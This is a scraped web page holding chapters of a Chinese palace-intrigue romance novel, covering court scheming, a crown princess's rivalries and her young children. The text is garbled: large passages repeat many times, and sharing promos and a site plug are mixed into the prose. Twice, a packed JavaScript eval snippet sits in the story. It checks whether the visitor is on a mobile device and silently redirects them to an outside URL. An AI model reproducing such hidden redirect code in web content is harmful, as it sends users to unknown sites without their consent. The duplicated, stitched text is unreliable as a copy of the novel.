云清婳吓得腿在发抖,她娇滴滴道:“下辈子的事谁说得准?也许再过两年,夫君就变心了。 他前所未有的认真,“我不会!一直以来,我都知道我要的是什么!否则我不会走到今天。 曾经的他,只爱自己。 赵婉宁、蛮蛮都被他伤害过。 但现在他清楚地知道,这世上除了皇位之外,还有其他珍贵的人。 蛮蛮、孩子…… 他捏着她的下巴,作势要亲上去,云清婳忙不迭推开他的脸,“下辈子,我们还在一起就是了,你别乱来了。 她脸不红心不跳。 反正她是个坏女人,说谎话根本没有心理负担。 更何况,裴墨染一个纸片人,他能有什么下辈子? 裴墨染心满意足,欺身压下,云清婳惊呼,“你怎么骗人啊?不是说好了歇息吗?天亮了还要抱孩子进宫谢恩。 “什么时候说好了?他耍无赖,又想攻城略地,“我是你的夫君!在榻上,你得听我的! 云清婳的眼中闪过狡黠,“好啊,咱们再给承基、辞忧添个弟弟妹妹。 “…… 帐中瞬间安静了。 裴墨染体内燃起的火气,像是被一盆冰水浇熄。 瞬间所有旖旎的杂念都没有了。 有心也无力了。 他起身,重新平躺在她身侧。 “不生了,咱们不生了。他低声喃喃自语。 他不敢拿蛮蛮的身体赌。 而且,有承基跟辞忧就够了。 这两个小家伙已经够让他吃不消了。 再来一个,他得烦死。 云清婳险些笑出声。 …… 十天后,北镇抚司就查到了鹦鹉案的幕后主使。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 男人不甘、偏执的声音在她的耳畔不断响起,像是魔音贯耳:“蛮蛮,下辈子我们还要在一起,我一定不会娶别人,你一定要嫁我。 “……她默不作声,心里只觉得恐怖。 他下辈子也不放过她? “回答我,嗯?他责怪她的逃避,报复性咬住她的耳垂。 温热的眼泪从她的眼眶滑落,她哼唧一声,“嗯。 “蛮蛮!回答我,不许糊弄。他一把揽住她的细腰,作势还要欺身上来。 云清婳吓得腿在发抖,她娇滴滴道:“下辈子的事谁说得准?也许再过两年,夫君就变心了。 他前所未有的认真,“我不会!一直以来,我都知道我要的是什么!否则我不会走到今天。 曾经的他,只爱自己。 赵婉宁、蛮蛮都被他伤害过。 但现在他清楚地知道,这世上除了皇位之外,还有其他珍贵的人。 蛮蛮、孩子…… 他捏着她的下巴,作势要亲上去,云清婳忙不迭推开他的脸,“下辈子,我们还在一起就是了,你别乱来了。 她脸不红心不跳。 反正她是个坏女人,说谎话根本没有心理负担。 更何况,裴墨染一个纸片人,他能有什么下辈子? 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“回答我嗯?”他责怪她的逃避报复性咬住她的耳垂。 温热的眼泪从她的眼眶滑落她哼唧一声“嗯。” “蛮蛮!回答我不许糊弄。”他一把揽住她的细腰作势还要欺身上来。 云清婳吓得腿在发抖她娇滴滴道:“下辈子的事谁说得准?也许再过两年夫君就变心了。” 他前所未有的认真“我不会!一直以来我都知道我要的是什么!否则我不会走到今天。” 曾经的他只爱自己。 赵婉宁、蛮蛮都被他伤害过。 但现在他清楚地知道这世上除了皇位之外还有其他珍贵的人。 蛮蛮、孩子…… 他捏着她的下巴作势要亲上去云清婳忙不迭推开他的脸“下辈子我们还在一起就是了你别乱来了。” 她脸不红心不跳。 反正她是个坏女人说谎话根本没有心理负担。 更何况裴墨染一个纸片人他能有什么下辈子? 裴墨染心满意足欺身压下云清婳惊呼“你怎么骗人啊?不是说好了歇息吗?天亮了还要抱孩子进宫谢恩。” “什么时候说好了?”他耍无赖又想攻城略地“我是你的夫君!在榻上你得听我的!” 云清婳的眼中闪过狡黠“好啊咱们再给承基、辞忧添个弟弟妹妹。” “……” 帐中瞬间安静了。 裴墨染体内燃起的火气像是被一盆冰水浇熄。 瞬间所有旖旎的杂念都没有了。 有心也无力了。 他起身重新平躺在她身侧。 “不生了咱们不生了。”他低声喃喃自语。 他不敢拿蛮蛮的身体赌。 而且有承基跟辞忧就够了。 这两个小家伙已经够让他吃不消了。 再来一个他得烦死。 云清婳险些笑出声。 …… 十天后北镇抚司就查到了鹦鹉案的幕后主使。 你的朋友正在书荒,快去帮帮他吧 男人不甘、偏执的声音在她的耳畔不断响起像是魔音贯耳:“蛮蛮下辈子我们还要在一起我一定不会娶别人你一定要嫁我。” “……”她默不作声心里只觉得恐怖。 他下辈子也不放过她? “回答我嗯?”他责怪她的逃避报复性咬住她的耳垂。 温热的眼泪从她的眼眶滑落她哼唧一声“嗯。” “蛮蛮!回答我不许糊弄。”他一把揽住她的细腰作势还要欺身上来。 云清婳吓得腿在发抖她娇滴滴道:“下辈子的事谁说得准?也许再过两年夫君就变心了。” 他前所未有的认真“我不会!一直以来我都知道我要的是什么!否则我不会走到今天。” 曾经的他只爱自己。 赵婉宁、蛮蛮都被他伤害过。 但现在他清楚地知道这世上除了皇位之外还有其他珍贵的人。 蛮蛮、孩子…… 他捏着她的下巴作势要亲上去云清婳忙不迭推开他的脸“下辈子我们还在一起就是了你别乱来了。” 她脸不红心不跳。 反正她是个坏女人说谎话根本没有心理负担。 更何况裴墨染一个纸片人他能有什么下辈子? 裴墨染心满意足欺身压下云清婳惊呼“你怎么骗人啊?不是说好了歇息吗?天亮了还要抱孩子进宫谢恩。” “什么时候说好了?”他耍无赖又想攻城略地“我是你的夫君!在榻上你得听我的!” 云清婳的眼中闪过狡黠“好啊咱们再给承基、辞忧添个弟弟妹妹。” “……” 帐中瞬间安静了。 裴墨染体内燃起的火气像是被一盆冰水浇熄。 瞬间所有旖旎的杂念都没有了。 有心也无力了。 他起身 “不生了咱们不生了。”他低声喃喃自语。 他不敢拿蛮蛮的身体赌。 而且有承基跟辞忧就够了。 这两个小家伙已经够让他吃不消了。 再来一个他得烦死。 云清婳险些笑出声。 …… 十天后北镇抚司就查到了鹦鹉案的幕后主使。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 男人不甘、偏执的声音在她的耳畔不断响起,像是魔音贯耳:“蛮蛮,下辈子我们还要在一起,我一定不会娶别人,你一定要嫁我。 “……她默不作声,心里只觉得恐怖。 他下辈子也不放过她? “回答我,嗯? 温热的眼泪从她的眼眶滑落,她哼唧一声,“嗯。 “蛮蛮!回答我,不许糊弄。他一把揽住她的细腰,作势还要欺身上来。 云清婳吓得腿在发抖,她娇滴滴道:“下辈子的事谁说得准?也许再过两年,夫君就变心了。 他前所未有的认真,“我不会!一直以来,我都知道我要的是什么!否则我不会走到今天。 曾经的他,只爱自己。 赵婉宁、蛮蛮都被他伤害过。 但现在他清楚地知道,这世上除了皇位之外,还有其他珍贵的人。 蛮蛮、孩子…… 他捏着她的下巴,作势要亲上去,云清婳忙不迭推开他的脸,“下辈子,我们还在一起就是了,你别乱来了。 她脸不红心不跳。 反正她是个坏女人,说谎话根本没有心理负担。 更何况,裴墨染一个纸片人,他能有什么下辈子? 裴墨染心满意足,欺身压下,云清婳惊呼,“你怎么骗人啊?不是说好了歇息吗?天亮了还要抱孩子进宫谢恩。 “什么时候说好了?他耍无赖,又想攻城略地,“我是你的夫君!在榻上,你得听我的! 云清婳的眼中闪过狡黠,“好啊,咱们再给承基、辞忧添个弟弟妹妹。 “…… 帐中瞬间安静了。 裴墨染体内燃起的火气,像是被一盆冰水浇熄。 瞬间所有旖旎的杂念都没有了。 有心也无力了。 他起身,重新平躺在她身侧。 “不生了,咱们不生了。他低声喃喃自语。 他不敢拿蛮蛮的身体赌。 而且,有承基跟辞忧就够了。 这两个小家伙已经够让他吃不消了。 再来一个,他得烦死。 云清婳险些笑出声。 …… 十天后,北镇抚司就查到了鹦鹉案的幕后主使。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第317章 字不如狗刨 是苏家给予过知遇之恩的参谋——林淮安。 他提供证词,他爱慕苏灵音,得知苏灵音处处受云清婳打压,便出此下策,从西域买来鹦鹉假装凤凰诬陷云清婳。 这么一来,苏灵音就得以出头。 谁都知道林淮安的证词是假的,但林淮安一心想要顶罪,言行逼供都没撬开他的嘴。 最后他在狱中咬舌自尽了,替幕后主使顶了罪。 消息很快就传到了玄音阁。 飞霜捏着拳头,愤愤道:“苏灵音可真是不简单,奴婢每次以为她穷途末路时,她总能整出幺蛾子!没想到她居然还有个这么傻的追求者!” “不要小瞧苏灵音。”云清婳打开窗牗,窗外的细雨随着秋风扑面而来。 毕竟苏灵音在原著里是一个狠角色。 她凭伪装让姐姐跟裴墨染冷战了两年,她坏事做尽,可最后也只是被罚下半辈子常伴青灯古佛。 “难道这口气咱们就要这么咽下去?苏灵音幸免于难,恐怕这会儿她的嘴都要笑烂了。”飞霜噘着嘴。 云清婳的眼尾上扬,稍显几分魅惑,“现在让苏灵音**,岂不是太便宜她了?别忘了,裴墨染在她身上埋了雷,到时候把雷点爆,这才精彩呢。” 飞霜想到苏灵音的肚子,不禁扑哧笑了出声,“到时候,孩子从苏灵音肚子里生出来,看她还怎么抵赖!” 正想着,万嬷嬷跟管家来了。 二人脸上洋溢着笑,红光满面,远远看去就知道有好事发生。 “恭喜殿下,恭喜太子妃!” 云清婳的眼神倏地清明,她似乎猜到了,恬静地笑问:“何事?” “东宫有喜了,有三位夫人诊断出了喜脉。”管家道。 万嬷嬷眼角的皱纹都笑出来了,“这下子好了,东宫人丁兴旺。” 云清婳的眸中闪过潋滟的光,波澜不惊。 这对加固裴墨染的皇位而言是好事! “她们的问安免了,送些珠宝跟补品过去,厨房的吃食最好让府医检查后再送去。她们入口的吃食,哪怕是一口茶都要记录。”云清婳不容置喙地吩咐道。 管家、万嬷嬷不禁在心中叹服云清婳的气度。 这才是太子妃、当家主母应有的样子。 哪像当初的赵婉宁? 真是一个天上,一个地上,赵婉宁根本没法跟太子妃比。 就像是一个笑话! “太子妃宅心仁厚,东宫有您,是东宫跟后宅的福气。万嬷嬷发自肺腑地说。 “万嬷嬷言重了,这是我的职责。云清婳莞尔,仪态落落大方。 她的大气、端庄很快就传出了玄音阁。 东宫上下都在称赞她的仁厚。 怀孕的几位夫人不安的心绪瞬间安稳下来,对云清婳千恩万谢。 云清婳看向飞霜,“报复苏灵音的机会,这不就来了? “嗯?飞霜摸不着头脑。 裴墨染下朝后就直奔玄音阁。 他显然也知道这个好消息。 裴墨染如临大敌,脸上的喜色只有一分,更多的却是忐忑不安,“蛮蛮,你别多想,我心中有分明。你跟孩子才是最重要的,她们怎能抵得上你们? 她乜了他一眼。 死渣男! 让其他女子怀孕了,结果心里压根没别人是吧? “是啊!她们是被你托梦怀孕的。云清婳阴阳怪气。 裴墨染讪讪地笑了,他抱着她,“东宫人丁兴旺是好事,父皇希望子嗣延绵,江山后继有人。但于我而言,有你就够了。 她的双手搭在他的肩膀上,叹了口气,“夫君,这几日去看看三位夫人吧。她们为你怀了孩子,你应该关怀一番的。 “嗯。 其实,他并没有看望那三位夫人的打算,因为赏赐已经送到了。 他肯答应,完全是看在蛮蛮的面子上。 毕竟这只是利益交换,嫁给他,她们的娘家也获得好处了不是吗? 倘若他只是一个贫困潦倒的贩夫走卒,这些娇小姐肯嫁他吗? …… 接下来的几日,裴墨染例行公事般,一回东宫就轮流陪三位夫人用膳或者说说话。 这把苏灵音气得崩溃、尖叫。 她整日以泪洗面,气愤裴墨染为何看了别人,却不来看她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278162|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 苏灵音腹部绞痛,气晕了好几次,险些又动了胎气。 还是云清婳请来赵太医稳住胎像才平安无事。 得知苏灵音发疯云清婳、飞霜笑得前仰后合。 但等到苏灵音的小腹显怀时她却再也不闹了突然之间性情大变。 …… 皇上立了皇太孙的事昭告了天下。 即使再看不清形势的臣子也知道裴墨染的地位彻底稳了。 一时之间巴结谄媚的东宫的官员如过江之鲫归顺裴墨染成了大势所趋。 睿王、裴云澈虽然心有不满但是无能为力。 裴墨染退朝回来时怀里还抱着承基、辞忧。 皇上给两个小家伙选了太傅今日让他们入宫拜师。 “今日学了什么?太傅凶吗?”云清婳努力做出慈母的样子。 辞忧瘪瘪嘴一脸委屈地举起小肉手“写字。” “好累。”承基跟小大人似的叹了一声。 “玩去吧。”云清婳端了一盘花生酥递给他们。 孩子的眼睛瞬间亮了 说的域名caixs.com★(请来才小 说 看最新章节 完整章节)他们接过点心甩着小短腿跑了。 “还说呢他俩写的字可丑了狗在地上刨两下都比他们写得好。”裴墨染压低声音调侃。 云清婳瞪他“夫君两岁的时候一定还不如他们呢。不许嘲笑孩子他们才多大?” 他揽过她的肩膀让她在身边坐下“也是!父皇急什么?孩子才两岁手都没长好别把手伤着了。” 她的眼底闪过精光。 皇上这么着急想要教导好承基如此操之过急看样子他的病不是一般的重。 可能真的没多久好活了。 她得提醒裴墨染不能让他到时候毫无准备、焦头烂额地继承皇位。 原著里便是如此皇上崩殂裴墨染虽然继承皇位但处处受限。 虞将军党派虎视眈眈苏家又螳螂捕蝉黄雀在后。 云家倒是忠心不二从始至终一直支持裴墨染为他排除万难可他到头来却冷落、削弱了云家。 第318章 只要皇后凄惨,她就高兴 “父皇年纪大了,所以对孙子亲,夫君要多多关心父皇啊。她道。 裴墨染沉默了片刻,就在云清婳以为他不会回答时,男人沉闷的声音响起,“蛮蛮,说实话,我不想跟他亲近。他待我并不好,与我而言,皇上皇后都是一样的。 云清婳明白他心中的苦涩,但现在不是意气用事的时候。 “我不是想劝夫君放下,童年的伤痛是放不下的,我只是希望夫君能更好的继承大统。皇上突然立皇太孙,恐怕……她点到为止。 裴墨染的眼眸一亮,他捕捉到了她的意思,脸色凝重,“你的意思是父皇他…… 云清婳颔首,“这是我的猜测,不怕一万,就怕万一。 “父皇面色红润,中气十足,着实不像罹病之人。不过蛮蛮的话有道理,我记住了!裴墨染握住她的手的力道加重了一分。 朝政形势复杂,各个党派的权力制衡都有门道,忠臣、奸臣各有作用,牵一发而动全身,如何治理这些症结,父皇还未教过他。 云清婳知道,他终于懂了她的意思。 换言之,皇上还没做好交接。 正想着,王显弓着腰,小跑着进来,“殿下,金嬷嬷求见。 “她怎么来了?裴墨染脸上的嫌弃溢于言表,“皇后不是被禁足了吗?本宫可救不了她。她关进去,咱们才安生! 云清婳笑了,她摇摇他的手臂,“夫君,不要落人口实。 皇后的心思人人皆知,无非是央求裴墨染向皇上求情,给她解禁。 可裴墨染怎会自找麻烦? “让她进来。裴墨染倚靠在坐榻的引枕上,单手撑着脑袋,闭目养神。 他一派慵懒,显然没想管皇后。 金嬷嬷扑通一声跪下,她泪眼模糊,“殿下,求您救救皇后娘娘吧!皇后娘娘只有您了!她如今缠绵病榻,整日茶饭不思,只有您可以救她了。 “母后激怒圣上,以下犯上,本宫可没法扭转乾坤。他悠悠的讽刺道。 金嬷嬷哭道:“可,可皇后娘娘是殿下的母后啊,母子连心,如今皇后娘娘朝不虑夕,殿下真的忍心吗? 砰—— 裴墨染重重拍响桌案,缓缓睁开眼,他的眼神寒凉如冰,“ 真是说笑了,皇后的亲儿子应该是贤王吧?为何不求贤王?更何况贤王更受父皇恩宠,莫非皇后是怕贤王被训斥?所以才来找本宫当冤大头? 他慢条斯理的分析。 金嬷嬷的泪花颤动,她使劲摇头,“不不不……娘娘让老奴求了贤王。可贤王……贤王居然闭门不见啊! “呵…… 云清婳也笑了。 不愧是裴云澈。 他们果然是同一类人,真绝情啊。 裴墨染像是在慨叹,他夸张的喟叹一声,“贤王不救,本宫亦不救。 “倘若皇后第一个找的是本宫,本宫或许会考虑!要怪就怪她第一个想起的不是本宫吧。 “送客! 金嬷嬷的脸上闪过悔恨、遗憾。 她咚咚咚的磕头,头骨撞击地板发出沉闷的声音光是听着都疼。 再次抬起头时,她的眉心上都出血了,发髻散乱。 看起来十分凄惨。 “殿下、殿下,求您念着母子情意,救救皇后娘娘吧……求您了……金嬷嬷的声音哽咽着。 裴墨染的情绪毫无波澜,他似笑非笑的反问:“当年本宫遭人陷害,母后可有为本宫求过一次情? “……金嬷嬷如鲠在喉。 她像是哑巴了,彻底哭嚎不出来了。 王显趁机将金嬷嬷拖走了,他的臂力很大,不容反抗。 “这糟老婆子!惯会装哭!裴墨染拍拍手,似乎沾染了脏东西。 云清婳好奇的问:“夫君,倘若皇后第一个想要求助的你,你真的会救她? “怎么可能?他刮了下她的鼻子,表情带着一丝痞气,“我故意气她们的! 扑哧—— 云清婳笑了,“夫君越来越伶牙俐齿了,日后定会欺负我。 “又污蔑我!我哪舍得欺负你?都是你跟孩子欺负我。他一把将她扯进怀里,在她颈间轻咬。 她身躯一颤,发出银铃般的笑声。 这是发自内心的笑…… 只要皇后凄惨,她就高兴。 …… 下午,云清婳约魏娴带孩子去花园。 地上铺了层厚重的羊毛毯,承宁在毯子 上灵活的爬来爬去。 承基跟辞忧像是发现了好玩的玩具,看着小小一只的承宁双眼放光。 二人追着承宁,在他肉乎乎的脸蛋上亲来亲去。 “弟弟好香。辞忧道。 这引得周围的婢女、太监一阵发笑。 魏娴坐在凉亭下捻着针线刺绣,眼中满是欣慰,“蛮蛮把孩子教养得真好。 “有吗? 不是说爹爹**,就是想砍裴墨染脑袋。 魏娴淡笑道:“他们俩亲承宁,一定是跟你和殿下学的。孩子喜欢模仿父母,看来私下他们常被你跟殿下亲。 云清婳似笑非笑。 她有点心虚……她可不认为孩子是被她教养好的。 “我做了些不太甜的点心,稍后派人送去玄音阁,你可别多吃。魏娴冲云清婳挑眉。 一种难言的熟悉感涌来,云清婳透过魏娴,好像看到了谢容音。 她的嘴角上弯,看着魏娴的眼神添了抹说不清道不明的情愫。 一种岁月静好的感觉将她的心笼罩。 “见过太子妃。 细弱的女声从身后传来。 苏灵音屈膝福身,眼中却带着无形的傲慢。 云清婳疏离道:“平身吧,听说你的胎像不稳,还是少出来走动为妙。 “多谢太子妃,我的已经胎像稳了,我定会好好保重,为殿下生下皇嗣。苏灵音抚摸着微微隆起的腹部,尾音上扬。 说着,她自顾自的坐在魏娴身侧,“打扰了,太子妃跟魏夫人应该不会在意吧? 此话一出,所有人的表情都变了。 魏娴的脸色沉了下去。 魏娴的婢女玉穗不悦道:“苏侧妃,我们主子早就是侧妃了,您可真是贵人多忘事! “呵呵,真是对不住,我忘了。苏灵音不屑的笑了笑。 玉穗忍不住怼道:“之前您被贬为夫人,又跟我们主子同时一起升为侧妃,您忘了?我们主子诞下了皇孙,殿下都说功劳不小呢! 苏灵音的眼里露出阴狠。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 上灵活的爬来爬去。 承基跟辞忧像是发现了好玩的玩具,看着小小一只的承宁双眼放光。 二人追着承宁,在他肉乎乎的脸蛋上亲来亲去。 “弟弟好香。辞忧道。 这引得周围的婢女、太监一阵发笑。 魏娴坐在凉亭下捻着针线刺绣,眼中满是欣慰,“蛮蛮把孩子教养得真好。 “有吗?云清婳不明白这两个小家伙哪里好,“他们俩天天咒裴墨染呢。 不是说爹爹**,就是想砍裴墨染脑袋。 魏娴淡笑道:“他们俩亲承宁,一定是跟你和殿下学的。孩子喜欢模仿父母,看来私下他们常被你跟殿下亲。 云清婳似笑非笑。 她有点心虚……她可不认为孩子是被她教养好的。 “我做了些不太甜的点心,稍后派人送去玄音阁,你可别多吃。魏娴冲云清婳挑眉。 一种难言的熟悉感涌来,云清婳透过魏娴,好像看到了谢容音。 她的嘴角上弯,看着魏娴的眼神添了抹说不清道不明的情愫。 一种岁月静好的感觉将她的心笼罩。 “见过太子妃。 细弱的女声从身后传来。 苏灵音屈膝福身,眼中却带着无形的傲慢。 云清婳疏离道:“平身吧,听说你的胎像不稳,还是少出来走动为妙。 “多谢太子妃,我的已经胎像稳了,我定会好好保重,为殿下生下皇嗣。苏灵音抚摸着微微隆起的腹部,尾音上扬。 说着,她自顾自的坐在魏娴身侧,“打扰了,太子妃跟魏夫人应该不会在意吧? 此话一出,所有人的表情都变了。 魏娴的脸色沉了下去。 魏娴的婢女玉穗不悦道:“苏侧妃,我们主子早就是侧妃了,您可真是贵人多忘事! “呵呵,真是对不住,我忘了。苏灵音不屑的笑了笑。 玉穗忍不住怼道:“之前您被贬为夫人,又跟我们主子同时一起升为侧妃,您忘了?我们主子诞下了皇孙,殿下都说功劳不小呢! 苏灵音的眼里露出阴狠。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 上灵活的爬来爬去。 承基跟辞忧像是发现了好玩的玩具,看着小小一只的承宁双眼放光。 二人追着承宁,在他肉乎乎的脸蛋上亲来亲去。 “弟弟好香。”辞忧道。 这引得周围的婢女、太监一阵发笑。 魏娴坐在凉亭下捻着针线刺绣,眼中满是欣慰,“蛮蛮把孩子教养得真好。” “有吗?”云清婳不明白这两个小家伙哪里好,“他们俩天天咒裴墨染呢。” 不是说爹爹**,就是想砍裴墨染脑袋。 魏娴淡笑道:“他们俩亲承宁,一定是跟你和殿下学的。孩子喜欢模仿父母,看来私下他们常被你跟殿下亲。” 云清婳似笑非笑。 她有点心虚……她可不认为孩子是被她教养好的。 “我做了些不太甜的点心,稍后派人送去玄音阁,你可别多吃。”魏娴冲云清婳挑眉。 一种难言的熟悉感涌来,云清婳透过魏娴,好像看到了谢容音。 她的嘴角上弯,看着魏娴的眼神添了抹说不清道不明的情愫。 一种岁月静好的感觉将她的心笼罩。 “见过太子妃。” 细弱的女声从身后传来。 苏灵音屈膝福身,眼中却带着无形的傲慢。 云清婳疏离道:“平身吧,听说你的胎像不稳,还是少出来走动为妙。” “多谢太子妃,我的已经胎像稳了,我定会好好保重,为殿下生下皇嗣。”苏灵音抚摸着微微隆起的腹部,尾音上扬。 说着,她自顾自的坐在魏娴身侧,“打扰了,太子妃跟魏夫人应该不会在意吧?” 此话一出,所有人的表情都变了。 魏娴的脸色沉了下去。 魏娴的婢女玉穗不悦道:“苏侧妃,我们主子早就是侧妃了,您可真是贵人多忘事!” “呵呵,真是对不住,我忘了。”苏灵音不屑的笑了笑。 玉穗忍不住怼道:“之前您被贬为夫人,又跟我们主子同时一起升为侧妃,您忘了?我们主子诞下了皇孙,殿下都说功劳不小呢!” 苏灵音的眼里露出阴狠。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 上灵活的爬来爬去。 承基跟辞忧像是发现了好玩的玩具看着小小一只的承宁双眼放光。 二人追着承宁在他肉乎乎的脸蛋上亲来亲去。 “弟弟好香。”辞忧道。 这引得周围的婢女、太监一阵发笑。 魏娴坐在凉亭下捻着针线刺绣眼中满是欣慰“蛮蛮把孩子教养得真好。” “有吗?”云清婳不明白这两个小家伙哪里好“他们俩天天咒裴墨染呢。” 不是说爹爹**就是想砍裴墨染脑袋。 魏娴淡笑道:“他们俩亲承宁一定是跟你和殿下学的。孩子喜欢模仿父母看来私下他们常被你跟殿下亲。” 云清婳似笑非笑。 她有点心虚……她可不认为孩子是被她教养好的。 “我做了些不太甜的点心稍后派人送去玄音阁 一种难言的熟悉感涌来云清婳透过魏娴好像看到了谢容音。 她的嘴角上弯看着魏娴的眼神添了抹说不清道不明的情愫。 一种岁月静好的感觉将她的心笼罩。 “见过太子妃。” 细弱的女声从身后传来。 苏灵音屈膝福身眼中却带着无形的傲慢。 云清婳疏离道:“平身吧听说你的胎像不稳还是少出来走动为妙。” “多谢太子妃我的已经胎像稳了我定会好好保重为殿下生下皇嗣。”苏灵音抚摸着微微隆起的腹部尾音上扬。 说着她自顾自的坐在魏娴身侧“打扰了太子妃跟魏夫人应该不会在意吧?” 此话一出所有人的表情都变了。 魏娴的脸色沉了下去。 魏娴的婢女玉穗不悦道:“苏侧妃我们主子早就是侧妃了您可真是贵人多忘事!” “呵呵真是对不住我忘了。”苏灵音不屑的笑了笑。 玉穗忍不住怼道:“之前您被贬为夫人又跟我们主子同时一起升为侧妃您忘了?我们主子诞下了皇孙殿下都说功劳不小呢!” 苏灵音的眼里露出阴狠。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 上灵活的爬来爬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278163|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 承基跟辞忧像是发现了好玩的玩具,看着小小一只的承宁双眼放光。 二人追着承宁,在他肉乎乎的脸蛋上亲来亲去。 “弟弟好香。”辞忧道。 这引得周围的婢女、太监一阵发笑。 魏娴坐在凉亭下捻着针线刺绣,眼中满是欣慰,“蛮蛮把孩子教养得真好。” “有吗?”云清婳不明白这两个小家伙哪里好,“他们俩天天咒裴墨染呢。” 不是说爹爹**,就是想砍裴墨染脑袋。 魏娴淡笑道:“他们俩亲承宁,一定是跟你和殿下学的。孩子喜欢模仿父母,看来私下他们常被你跟殿下亲。” 云清婳似笑非笑。 她有点心虚……她可不认为孩子是被她教养好的。 “我做了些不太甜的点心,稍后派人送去玄音阁,你可别多吃。”魏娴冲云清婳挑眉。 一种难言的熟悉感涌来,云清婳透过魏娴,好像看到了谢容音。 她的嘴角上弯,看着魏娴的眼神添了抹说不清道不明的情愫。 一种岁月静好的感觉将她的心笼罩。 “见过太子妃。” 细弱的女声从身后传来。 苏灵音屈膝福身,眼中却带着无形的傲慢。 云清婳疏离道:“平身吧,听说你的胎像不稳,还是少出来走动为妙。” “多谢太子妃,我的已经胎像稳了,我定会好好保重,为殿下生下皇嗣。”苏灵音抚摸着微微隆起的腹部,尾音上扬。 说着,她自顾自的坐在魏娴身侧,“打扰了,太子妃跟魏夫人应该不会在意吧?” 此话一出,所有人的表情都变了。 魏娴的脸色沉了下去。 魏娴的婢女玉穗不悦道:“苏侧妃,我们主子早就是侧妃了,您可真是贵人多忘事!” “呵呵,真是对不住,我忘了。”苏灵音不屑的笑了笑。 玉穗忍不住怼道:“之前您被贬为夫人,又跟我们主子同时一起升为侧妃,您忘了?我们主子诞下了皇孙,殿下都说功劳不小呢!” 苏灵音的眼里露出阴狠。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 上灵活的爬来爬去。 承基跟辞忧像是发现了好玩的玩具看着小小一只的承宁双眼放光。 二人追着承宁在他肉乎乎的脸蛋上亲来亲去。 “弟弟好香。”辞忧道。 这引得周围的婢女、太监一阵发笑。 魏娴坐在凉亭下捻着针线刺绣眼中满是欣慰“蛮蛮把孩子教养得真好。” “有吗?”云清婳不明白这两个小家伙哪里好“他们俩天天咒裴墨染呢。” 不是说爹爹**就是想砍裴墨染脑袋。 魏娴淡笑道:“他们俩亲承宁一定是跟你和殿下学的。孩子喜欢模仿父母看来私下他们常被你跟殿下亲。” 云清婳似笑非笑。 她有点心虚……她可不认为孩子是被她教养好的。 “我做了些不太甜的点心稍后派人送去玄音阁你可别多吃。”魏娴冲云清婳挑眉。 一种难言的熟悉感涌来云清婳透过魏娴 她的嘴角上弯看着魏娴的眼神添了抹说不清道不明的情愫。 一种岁月静好的感觉将她的心笼罩。 “见过太子妃。” 细弱的女声从身后传来。 苏灵音屈膝福身眼中却带着无形的傲慢。 云清婳疏离道:“平身吧听说你的胎像不稳还是少出来走动为妙。” “多谢太子妃我的已经胎像稳了我定会好好保重为殿下生下皇嗣。”苏灵音抚摸着微微隆起的腹部尾音上扬。 说着她自顾自的坐在魏娴身侧“打扰了太子妃跟魏夫人应该不会在意吧?” 此话一出所有人的表情都变了。 魏娴的脸色沉了下去。 魏娴的婢女玉穗不悦道:“苏侧妃我们主子早就是侧妃了您可真是贵人多忘事!” “呵呵真是对不住我忘了。”苏灵音不屑的笑了笑。 玉穗忍不住怼道:“之前您被贬为夫人又跟我们主子同时一起升为侧妃您忘了?我们主子诞下了皇孙殿下都说功劳不小呢!” 苏灵音的眼里露出阴狠。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 上灵活的爬来爬去。 承基跟辞忧像是发现了好玩的玩具,看着小小一只的承宁双眼放光。 二人追着承宁,在他肉乎乎的脸蛋上亲来亲去。 “弟弟好香。”辞忧道。 这引得周围的婢女、太监一阵发笑。 魏娴坐在凉亭下捻着针线刺绣,眼中满是欣慰,“蛮蛮把孩子教养得真好。” “有吗?”云清婳不明白这两个小家伙哪里好,“他们俩天天咒裴墨染呢。” 不是说爹爹**,就是想砍裴墨染脑袋。 魏娴淡笑道:“他们俩亲承宁,一定是跟你和殿下学的。孩子喜欢模仿父母,看来私下他们常被你跟殿下亲。” 云清婳似笑非笑。 她有点心虚……她可不认为孩子是被她教养好的。 “我做了些不太甜的点心,稍后派人送去玄音阁,你可别多吃。”魏娴冲云清婳挑眉。 一种难言的熟悉感涌来,云清婳透过魏娴,好像看到了谢容音。 她的嘴角上弯,看着魏娴的眼神添了抹说不清道不明的情愫。 一种岁月静好的感觉将她的心笼罩。 “见过太子妃。” 细弱的女声从身后传来。 苏灵音屈膝福身,眼中却带着无形的傲慢。 云清婳疏离道:“平身吧,听说你的胎像不稳,还是少出来走动为妙。” “多谢太子妃,我的已经胎像稳了,我定会好好保重,为殿下生下皇嗣。”苏灵音抚摸着微微隆起的腹部,尾音上扬。 说着,她自顾自的坐在魏娴身侧,“打扰了,太子妃跟魏夫人应该不会在意吧?” 